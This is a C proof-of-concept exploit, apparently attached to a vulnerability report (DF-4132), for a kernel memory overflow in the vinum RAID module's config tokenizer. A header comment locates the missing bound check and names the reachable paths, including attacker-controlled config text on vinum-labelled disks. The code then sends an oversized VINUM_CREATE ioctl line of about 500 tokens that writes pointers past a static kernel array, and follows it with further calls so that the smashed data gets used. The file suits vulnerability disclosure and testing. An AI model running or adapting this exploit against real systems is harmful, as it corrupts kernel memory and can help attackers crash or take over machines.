/*
 * DF-4132 PoC: vinum tokenize unbounded token array overflow
 *
 * parse_config (sys/dev/raid/vinum/vinumconfig.c:1627) passes the static
 * array token[MAXTOKEN], MAXTOKEN = 64, at vinumconfig.c:78, to tokenize
 * (sys/dev/raid/vinum/vinumparser.c:163), which stores one pointer per
 * token with NO bound check (vinumparser.c:175).
 *
 * A VINUM_CREATE ioctl whose config line contains more than 64 tokens makes
 * the kernel write (ntokens - 64) pointers past the end of the 512-byte
 * static array, deep into the vinum module bss.
 *
 * We send one line with ~500 tokens (fits in the 1024-byte ioctl buffer).
 * Reachable as root via /dev/vinum/Control, and for any config line read
 * from a vinum-labelled disk (vinum read, boot autodetect), where the
 * attacker fully controls the config text.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 1024
/* VINUM_CREATE = _IOC(IOC_IN|IOC_OUT, 'F', 64, BUFSIZE) */
#define VINUM_CREATE _IOC(IOC_INOUT, 'F', 64, BUFSIZE)

static void
send_line(int fd, const char *line, int verbose)
{
	char buf[BUFSIZE];
	int error, rc;

	memset(buf, 0, sizeof(buf));
	snprintf(buf, sizeof(buf), "%s", line);
	rc = ioctl(fd, VINUM_CREATE, buf);
	error = *(int *)buf;			/* struct _ioctl_reply { int error; char msg[256]; } */
	if (verbose)
		printf("line \"%s\"\n  -> rc=%d errno=%d reply.error=%d msg=\"%.40s\"\n",
		       line, rc, errno, error, buf + 4);
}

int
main(int argc, char **argv)
{
	char line[BUFSIZE];
	int fd, ntokens, i, len;

	ntokens = (argc > 1) ? atoi(argv[1]) : 500;
	if (ntokens < 2 || ntokens > 512)
		ntokens = 500;

	fd = open("/dev/vinum/control", O_RDWR);
	if (fd < 0)
		fd = open("/dev/vinum/Control", O_RDWR);
	if (fd < 0) {
		perror("open /dev/vinum/Control (need root, kldload vinum)");
		return 1;
	}

	/* sanity: legal config line */
	send_line(fd, "drive d0", 1);

	/*
	 * One line with ntokens tokens.  "drive d0 " + (ntokens-2) x "a ".
	 * Each token beyond the 64th causes one 8-byte pointer write past
	 * token[64] in the kernel's static data.
	 */
	len = snprintf(line, sizeof(line), "drive d0");
	for (i = 2; i < ntokens; i++) {
		if (len + 2 >= (int)sizeof(line) - 1)
			break;
		line[len++] = ' ';
		line[len++] = 'a';
	}
	line[len] = '\0';
	printf("sending %d tokens (%d bytes) via VINUM_CREATE...\n", i, len + 1);
	send_line(fd, line, 1);
	printf("ioctl returned; kernel static data now holds %d overflow pointers\n",
	       i - 64);

	/* poke the config machinery so the smashed statics get used */
	send_line(fd, "drive d1", 1);
	if (ioctl(fd, VINUM_CREATE, (char[BUFSIZE]){0}) == 0) {}
	printf("still alive\n");
	return 0;
}
